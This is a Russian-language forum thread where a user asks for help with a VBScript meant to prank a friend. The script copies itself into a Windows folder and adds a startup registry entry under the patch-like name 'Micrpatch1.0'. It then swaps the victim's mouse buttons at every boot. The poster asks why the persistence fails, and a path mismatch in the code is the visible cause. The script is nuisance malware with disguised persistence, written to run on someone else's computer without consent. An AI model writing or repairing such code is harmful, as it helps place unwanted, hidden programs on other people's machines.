VBScript

  • Автор темы mutabor
  • Дата начала
Статус
Закрыто для дальнейших ответов.
M

mutabor

#1
Помогите пожалуйста. Вот решил пошутить над другом и нашел такой скрипт. Проблема в том, что он срабатывает только один раз, а при последующей загрузке машины он не срабатывает. Хотя в реестр прописывается. Вот код:

Код:
Set FSA=CreateObject("Scripting.FileSystemObject")
FSA.CreateFolder("C:\Windows\ff")
Set file1=FSA.GetFile(WScript.ScriptFullName)
file1.Copy("C:\Windows\ff\mouse.vbs")
Код:
Set WSHShell=WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Micrpatch1.0","C:\Windows\mouse.vbs", "REG_SZ" 
sub zp(y,x)
set wshshell=wscript.createobject("wscript.shell")
x=wshshell.run(y,x)
end sub
call zp("rundll32 user,swapmousebutton",true)
Спасибо.
 
Статус
Закрыто для дальнейших ответов.